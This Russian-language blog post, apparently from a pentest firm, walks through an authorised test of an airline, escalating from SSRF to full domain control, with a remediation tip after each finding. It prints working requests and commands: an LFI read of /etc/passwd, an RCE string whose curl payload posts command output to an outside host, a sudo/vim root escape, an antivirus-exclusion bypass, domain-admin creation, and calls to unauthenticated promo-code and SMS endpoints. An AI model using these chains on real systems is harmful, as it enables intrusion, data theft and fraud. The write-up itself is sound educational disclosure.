Представьте: вы заказываете пентест, ожидая найти пару-тройку мелких багов, а в итоге получаете отчет, от которого волосы встают дыбом даже у бывалых айтишников. Знакомая ситуация? Нет? Пристегните ремни — сейчас будет турбулентность.

Сегодня у нас в блоге горячая история о том, как одна авиакомпания чуть не отправилась на небеса кибербезопасности. В этой статье мы разберем, как наша команда прошла путь от невинной SSRF-уязвимости до полного контроля над доменом заказчика. Спойлер: по пути мы нашли возможность генерировать бесконечные промокоды, отправлять SMS от имени компании и даже заглянули в святая святых — систему 1С.


Disclaimer: все описанные действия проводились с согласия заказчика в рамках легального пентеста. Не пытайтесь повторить это дома или где-либо еще — статью 272 УК РФ никто не отменял.

Первая часть, в которой «неприступная крепость» превращается в швейцарский сыр 

Все началось с Server Side Request Forgery (SSRF) — эксплойта, который позволяет подделывать серверные запросы. Мы обнаружили эту уязвимость буквально в первый день пентеста. SSRF открывала возможности для манипуляций с сервером, на котором располагался сайт заказчика. 

Мы нашли эту уязвимость благодаря фаззингу хостов. Наткнулись на Swagger, тот самый инструмент для документирования API, который по идее должен облегчать жизнь разработчикам. Но в руках хакеров... ну, вы поняли.

Алгоритм обнаружения SSRF
Алгоритм обнаружения SSRF

Представьте: вы заставляете сервер компании делать запросы куда угодно. Во внутреннюю сеть или на свой локальный адрес. При этом вы контролируете либо весь запрос целиком, либо его части, например, домен. Это похоже на ситуацию, когда преступник шантажом заставляет администратора банка заглянуть в каждый сейф. Самое главное — для системы все выглядит легитимно: запросы идут изнутри, от «своего парня». Например, этой строчкой мы заставили сервер авиакомпании постучаться к нам на огонек:

https://сайт_авиакомпании/?url=наш_особый_сервер.oastify.com
Пример вредоносного запроса 
Пример вредоносного запроса 

SSRF позволила нам использовать уязвимый сервер как прокси и атаковать недоступные извне сервисы, обходя файрвол. В некоторых случаях SSRF может привести к удаленному выполнению кода и утечке конфиденциальных данных из внутренних систем.

Результат выполнения вредоносного запроса уязвимым сервером
Результат выполнения вредоносного запроса уязвимым сервером

Дальше — больше. Мы обнаружили уязвимость Local File Inclusion (LFI), которая позволила получить доступ к файлам конфигурации сервера с помощью простого запросаfile://{path}. 

Представьте библиотеку с автоматизированной системой выдачи книг. Вы, как прилежный тестировщик, вводите название книги с ошибкой, а система сбоит и выдает свежий бухгалтерский отчет из кабинета директора. Поздравляю, вы нашли LFI-уязвимость!

https://сайт_авиакомпании/parser/?url=file:///etc/passwd
Пример запроса
Пример запроса

Этот безобидный на вид запрос заставляет сервер прочитать и отдать содержимое файла /etc/passwd.

Ответ сервера, раскрывающий парольную информацию
Ответ сервера, раскрывающий парольную информацию

Кстати, эту уязвимость относительно просто закрыть. Для этого компании требовалось: 

  • строго фильтровать входные данные — например, проверять входные параметры для url;

  • создать белый список разрешенных для включения файлов и путей;

  • настроить права доступа на уровне файловой системы.

Вторая часть, в которой происходит полная компрометация сервера авиакомпании

Итак, берем щепотку LFI, добавляем неправильно настроенный Gearman, приправляем все это SSRF — и получаем удаленное выполнение кода (RCE).

Вектор атаки на сервер, который привел к его захвату
Вектор атаки на сервер, который привел к его захвату

Сначала мы использовали LFI, чтобы стащить с сервера статический ключ для Gearman.

https://сайт_авиакомпании/?url=file:///w/etc/gearman/controller 

Затем мы использовали gearmctrl.php. Это скрипт на PHP, с помощью которого администраторы и разработчики отслеживают состояние Gearman сервера, управляют его настройками и мониторят выполнение задач. 

В gearmctrl есть функция exec(), в которую можно внедрить код ОС через пользовательский ввод. Нужно только правильно сформировать строку-запрос, добавив к ней статический ключ, и отправить на gearmctrl.php.

Как работал скрипт? 

$functionParams[0]содержит пользовательский ввод. Для RCE нам нужно попасть в строку 65 с полезной нагрузкой в параметре$functionParams[0].

После реверса мы поняли, что здесь реализован свой вариант чего-то похожего на подпись строки и чего-то похожего на TOTP. Мы не рекомендуем использовать самописные решения в сфере криптографии.

Для инъекции нужно:

  1. Через LFI по пути/w/etc/gearman/controllerпрочесть мастер-ключ.

  2. Вычислить самописную вариацию TOTP (Time-Based One-Time Password/Одноразовый ключ, зависящий от времени), который можно запомнить, как «temp_key».

md5( "мастер ключ" + (день месяца) + (текущий час по мск) );
  1. Вычисляем самописную подпись, payload — полезная нагрузка, rand — случайная строка, но в атаке для удобства назначим = "1", никакого смысла, кроме добавления энтропии оно не несет.

msg = 'hupProcess|; ' + payload;
signature = md5(rand+msg+key)
  1. Итоговая строка для инъекции собирается так:

signature+'|'+rand+'|'+msg;
  1. А выглядит приблизительно так:

4526d25efbf2d2ada9d8fc7415d9ee2e|1|curl 
https://bastion-tech.ru -X POST -d "$(pwd;whoami;ls -la)"

Часть файла, через который выполнялась RCE
Часть файла, через который выполнялась RCE
Пример формирования строки
Пример формирования строки

Далее мы отправили POST-запрос к gearmctrl.php, чтобы получить результаты выполнения команд ОС на подконтрольный сервер:

POST https://сайт_авиакомпании/gearman/gearmctrl.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

msg=[сформированная нами строка]

Так мы получили возможность выполнять на сервере произвольные команды и без шума и пыли получать результаты их выполнения. 

Демонстрация выполнения команды pwd;whoami;ls -la на удаленном сервере
Демонстрация выполнения команды pwd;whoami;ls -la на удаленном сервере

Чтобы пофиксить возможность такой атаки, достаточно просто удалить файл, через который мы реализовали RCE. Но по-хорошему стоит пересмотреть архитектуру всего приложения и отправить в топку весь устаревший и неиспользуемый код.

Далее мы решили добиться привилегий root-пользователя на сервере. В этом помогла небезопасная конфигурация sudo.

(ALL) NOPASSWD: /usr/bin/crontab -u apache[A-z/-. ]*

На первый взгляд — ничего особенного, просто разрешение погонять crontab, но такая конфигурация позволяет любому пользователю исполнять crontab от имени пользователя apache без пароля root.

Когда мы редактируем cron, система любезно открывает нам редактор. Обычно это vim или nano. И вот тут начинается самое интересное: эти редакторы запускаются с правами root. А теперь фокус:

sudo /usr/bin/crontab -u apache -e
:!sh -p

Применив :!sh -p говорим vim: «запусти-ка мне shell с сохранением привилегий» — получаем root-shell.

Локальное повышение привилегий 
Локальное повышение привилегий 

Чтобы избежать подобных уязвимостей, важно тщательно проверять все конфигурации. Существуют более безопасные способы изменения crontab пользователя apache. Например, можно запретить прямое редактирование, но разрешить чтение crontab. Это исключит необходимость запуска редакторов от имени root.

Третья часть, в которой пентестеры не верят своим глазам

После получения контроля над сервером мы почувствовали себя как дети в кондитерской: перед нами открылось просто море возможностей. Первым делом мы, как истинные джентльмены, настроили ReverseShell. Потому что удобство — прежде всего, даже в хакинге. А дальше началось самое интересное.

Покопавшись в исходниках (спасибо разработчикам за комментарии!) мы поняли, что пароли в базе данных, которая обслуживает сайт компании, хранились в виде md5-хэша со статичной солью. Обычно мы не показываем в блоге такие вещи, но эта соль достойна скриншота:

Типичная статичная соль, ничего необычного
Типичная статичная соль, ничего необычного

Несмотря на посыл, эта защита оказалась практически бесполезной. Сам я в криптографии не разбираюсь, тем более в обсценной, но вот что по этому поводу написал мой коллега-тимлид Алексей Трофимов:

В данном кейсе точно не следовало использовать костыльное решение со своим TOTP и симметричной подписью данных, основанной на хэш-функции. Вообще не стоит использовать самописные решения в криптографии. Разработчики часто не понимают рисков, связанных с неграмотной имплементацией таких костылей.

А что следовало сделать? Например, применить классическое ассиметричное решение в виде электронной подписи на эллиптических кривых (ГОСТ Р 34.10-2012). И, конечно, проверять пользовательский ввод на допустимость введенных данных. Тогда на скомпрометированным на чтение сервере хранился бы только открытый ключ, которым можно проверять подписи, но невозможно подписывать данные.

Кроме того, крайне важно использовать уникальную соль для каждого хэша. Если в вашем приложении одна соль на все хэши, то настоятельно рекомендую пересмотреть это решение. Самым простым и быстрым решением будет добавить ко всем хэшам дополнительный, более долгий хэш, например bcrypt с параметром стоимости 2^13 итераций или argon2. Это значительно усложнит подбор паролей, сделав массовые атаки практически невозможными. 

Другой интересной альтернативой может быть использование вариации PBKDF2 на ГОСТ хэш-функции Стрибог: существующие инструменты для взлома паролей, такие как HashCat и John The Ripper, недостаточно оптимизированы для работы с этой хэш-функцией. Такая мера защиты создаст дополнительное препятствие для потенциальных злоумышленников, которые полагаются на готовые решения.

В этой «сверхзащищенной» базе хранилась информация о десятках миллионов пользователей сайта авиакомпании — практически обо всех клиентах. Знатная была бы утечка, если бы до данных добрались злоумышленники.

Мы же хотели найти среди пользователей сотрудников заказчика. Мы решили выбрать из базы записи с корпоративными адресами электронной почты: искали почтовые ящики с доменом авиакомпании и похожими вариациями. Расчет был на то, что владелец такой почты — скорее всего нынешний или бывший сотрудник заказчика. 

Так у нас на руках оказалось около полутора тысяч учетных записей потенциальных сотрудников. После взлома взлома хэшей по словарю осталось более 700 учетных записей.

Таким образом в наши руки попали сотни пар «корпоративная почта/пароль». Самое время проверить, к чему еще подойдут эти креды: к Confluence, или, может быть, к VPN?

Вместо прямого перебора паролей мы пошли на тактическую хитрость. Представьте: девять утра, понедельник. Сотни сонных сотрудников одновременно пытаются залогиниться, попивая свой латте… И тут к ним присоединяемся мы, чтобы затеряться в общей массе. 

Системы защиты даже глазом не моргнули. Почему? Чтобы обнаружить посторонних, нужен анализ IP-адресов, а он создает сложности с авторизацией и поэтому применяется редко.

В большинстве случаев VPN требовал второй фактор, однако нашлось и несколько исключений. Их объединяло право доступа к админке VPN. Не могу утверждать наверняка, но похоже, они самостоятельно отключили двухфакторную авторизацию. Упростили жизнь и себе, и хакерам.

Получение доступа во внутреннюю корпоративную инфраструктуру через VPN
Получение доступа во внутреннюю корпоративную инфраструктуру через VPN

Четвертая часть, в которой наконец-то можно лететь на Бали

По исходникам на захваченном сервере было видно, что часть интеграционного API веб-сервисов авиакомпании доступна только из внутренней сети через VPN. Система проверяла IP-адрес отправителя запроса. Если адрес определялся как безопасный (локальный, из внутренней сети), открывался доступ ко всяким интересным функциям. Обладая доступом по VPN, пусть и с минимальными привилегиями во внутренней корпоративной сети, мы получили доступ к:

  • административной панели сайта;

  • корпоративным платформам (Zulip, Zoom);

  • облачным хранилищам (ONLYOFFICE, ownCloud).

Множественное раскрытие учетных данных для доступа к внутренним сервисам и системам
Множественное раскрытие учетных данных для доступа к внутренним сервисам и системам

Но самой занятной оказалась возможность сгенерировать неограниченное количество промокодов на любые суммы. 

  1. Мы обнаружили файл с невинным названием gift_certificate.php.

  2. Внутри мы обнаружили функцию-генератор промокодов.

  3. И главное — эта функция не проверяла, кто ее вызывает!

Вот как выглядит рецепт бесконечного богатства:

POST 
https://сайт_авиакомпании/marketing/gift_certificate.php?action=generate
Content-type: application/json

{ 
"request_id": "1", 
"denomination": 200, 
"payment_type": "money", 
"partner": "giftery"
}
Демонстрация создания промокода
Демонстрация создания промокода

Легкое движение руки, и у вас есть промокод на 200 рублей. Но зачем останавливаться на малом? Теоретически можно генерировать их и на куда более крупные суммы, вплоть до миллионов рублей. 

Причем оказалось, что любой сотрудник мог создать новую учетку в домене без подтверждения почты. Уволили? Не беда! Учетка живет своей жизнью, а вы — своей, на берегу океана, потягивая коктейли за счет щедрых промокодов.

Теоретически, злоумышленник мог бы:

  1. Тихонько генерировать промокоды и потихоньку продавать их.

  2. Устроить промокодный армагеддон и накупить билетов на Бали для всего Хабра, пока в офисе авиакомпании не спохватились бы.

Но какой бы соблазнительной ни была мысль о пляже, мы немедленно сообщили о находке клиенту. 

Пятая часть, в которой пентестеры обретают всевидящее око

А теперь к IDOR. Доступ к некоторым объектам в инфраструктуре заказчика был реализован по прямой ссылке с использованием «уникальных» идентификаторов. При этом система не проверяла, принадлежит ли идентификатор пользователю. Я ставлю «уникальные» в кавычки, потому что эти айдишники имели энтропию как у пароля «qwerty123». И вишенка на торте: эта уязвимость работала как в VPN, так и снаружи. Нужна была всего лишь учетка в домене авиакомпании.

Так, через /api_export/index.php мы получили доступ к личным данным всех пассажиров по номеру заказа. Нам оказались доступны ФИО, адреса электронной почты, номера телефонов и билетов, маршруты движения, даты убытия/прибытия. В некоторых случаях был виден частичный номер банковской карты и стоимость заказа.

Представив заголовки в СМИ: «Данные миллионов пассажиров оказались в открытом доступе», мы поспешили присвоить этой уязвимости критический уровень опасности и выдали рекомендации: 

  • проверять у пользователя наличие прав доступа к запрашиваемым объектам;

  • к уязвимым для IDOR параметрам добавлять случайные идентификаторы, обладающие достаточной энтропией, не поддающиеся перебору за обозримое время;

  • внедрить лимиты на количество запросов с одного IP-адреса;

  • тщательно проверять каждый API-эндпоинт на предмет несанкционированного доступа.

Шестая часть, в которой пентестеры могут заявить о себе всему миру

После того как мы получили доступ к личным данным пассажиров, нам на глаза попалась еще одна полезная ручка API /rest/index.php, позволяющая отправлять СМС от лица компании. 

POST https://сайт_авиакомпании/rest/index.php?handler=bus_send_sms 
HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
phone=79999999999&text=Бастиону привет!&type=mobileapp promotion

С помощью этой «фичи» можно было запросто устроить масштабную фишинговую атаку: «Ваш рейс отменен. Для возврата средств перейдите по ссылке...». Или просто напакостить, опустошив баланс СМС-шлюза.

Отправляем СМС на любой номер
Отправляем СМС на любой номер

Похожая проблема была связана и с электронной почтой. Только теперь речь шла об отправке писем от имени любого пользователя в корпоративном домене.

POST https://сайт_авиакомпании/rest/index.php?handler=mail_send HTTP/1.1

Content-type: application/x-www-form-urlencoded
params={"from":"admin@сайт_авиакомпании","to":"почтовый@домен.com","subject":"321","body":"123"}&headers=

Седьмая часть, в которой команда Бастиона получает все ключи

Итак, мы уже пробились в домен из большого интернета, но хотели большего. Мы решили пойти ва-банк и замахнуться на святая святых — права доменного админа и ключевые системы компании:

  • компоненты инфраструктуры (включая домен Active Directory);

  • системы обеспечения информационной безопасности;

  • системы управления базами данных;

  • АРМ администраторов и системы хранения данных;

  • системы электронного документооборота;

  • финансовые системы (включая 1С).

Первым делом мы подключились к серверу по RDP и получили на нем права локального администратора. Чтобы продолжить пентест, нам нужно было загрузить определенные инструменты, но за хостом подглядывал антивирус. Так что мы создали в корне диска C новую директорию ClusterStorage. Она вошла в исключения антивируса по умолчанию. Благодаря этому мы смогли загрузить нужное ПО и продолжить работу. 

Дальше в ход пошла утилита psexec.exe. С ее помощью мы получили права SYSTEM. Это позволило нам обнаружить токен доменного администратора. С его помощью мы запустили командную строку, а затем мы создали новую учетную запись с правами доменного администратора.

Пошаговое добавление пользователя в группу доменных администраторов
Пошаговое добавление пользователя в группу доменных администраторов

Итак, в результате мы получили доступ:

  • к бекапам — права доменного администратора позволили подключиться к серверу резервного копирования по протоколу RDP;

  • контроль над антивирусом;

  • контроль над системой 1С-Битрикс;

  • возможность управлять разными БД и системой хранения паролей.

Например, доступ к «1С Предприятие» удалось получить за счет того, что в расписании мы обнаружили некую задачу «Start Robot SBIS».

Скрипт для запуска по расписанию
Скрипт для запуска по расписанию

Каждый день она послушно запускала скрипт, который в свою очередь запускал 1С. В этом скрипте были учетные данные для подключения к «1С Предприятие»

Доступ к «1С Предприятие»
Доступ к «1С Предприятие»

Чтобы этого избежать, надо было ограничить доступ на чтение файла для запуска задачи и, возможно, скрыть задачу и файл от всех, кроме SYSTEM или отдельных администраторов.

Часть, в которой мы делаем выводы

Итак, словно в голливудском блокбастере, мы прошли путь от скромного SSRF до полного контроля над доменом, попутно собрав внушительную коллекцию «трофеев» — от промокодов до ключей администратора.

Общая схема пентеста
Общая схема пентеста

Что мы имеем в сухом остатке? Периметр — как решето, пароли хранятся так, будто на дворе 2007-й, сегментация сети отсутствует вовсе. И вишенка на торте —  ручки от критически важных систем доступны чуть ли не по первому щелчку.

Растущая сложность систем, нехватка ресурсов, человеческий фактор — причины понятны, но что делать в такой ситуации? Для начала закрыть базовые косяки:

  1. Навести порядок на периметре. Прикрутить WAF не помешает.

  2. Перейти на нормальное хранение паролей. Argon2 или хотя бы bcrypt вам в помощь.

  3. Сегментировать сеть так, будто вы проектируете бункер для Судного дня.

  4. Двухфакторка на все, что движется и не движется.

  5. Аудиты безопасности — в регулярку.

Но главное — не почивать на лаврах. В нашем деле нет финишной прямой, только бесконечная гонка вооружений. Сегодня ты King of the Hill, а завтра уже в списках утечек на каком-нибудь малосимпатичном форуме.

А вы что думаете по этому поводу? Делитесь в комментариях своими историями и лайфхаками. Уверен, нам есть чему поучиться друг у друга!

Комментарии (5)


  1. TerekhinSergey
    02.10.2024 10:02

    Надеюсь, что дыру с промокодами уже прикрыли, а то мамкины хакеры сейчас побегут перебирать все известные домены авиакомпаний в надежде на богатство, славу и статью УК


  1. 0xC0CAC01A
    02.10.2024 10:02

    Вопросы, про авиакомпании, но не про взломы и безопасность.

    Какие сайты поиска авиабилетов позволяют искать билеты из нескольких аэропортов в несколько аэропортов (вне России), в период за несколько месяцев, с учётом стоимости багажа? Ну и присылать уведомления на почту, когда цена упала ниже заданной суммы. Kayak раньше позволял, по потом они эту опцию потихоньку испортили.

    А вообще-то, есть ли публичный бесплатный API со ценами на билеты всех авиакомпаний, чтоб самому скриптом искать?

    Ну и давайте обсудим любые другие работающие способы купить авиабилеты по минимальной цене.


    1. TerekhinSergey
      02.10.2024 10:02

      Я думаю, надо курить API от систем бронирования типа Сирены, Amadeus, кто-то ещё был третий - возможно, этот путь позволит сделать то, что хочется. Но скорее всего, они за доступ к API захотят денег (и возможно немалых)


      1. sukharichev
        02.10.2024 10:02

        Третий был Galileo, и вроде даже еще не ушел из РФ.
        Они не просто хоят немалых денег, а дадут доступ только корпоративному пользователю с договором после 33 проверок (но уровень реальной безопасности у этих апи из 1999 года, обычно).
        Есть агрегаторы таких апи для юрлиц, которые имеют такие договоры. Для физиков ни у кого из них сайт так и не взлетел, кажется.


  1. sukharichev
    02.10.2024 10:02

    Интересная статья, спасибо!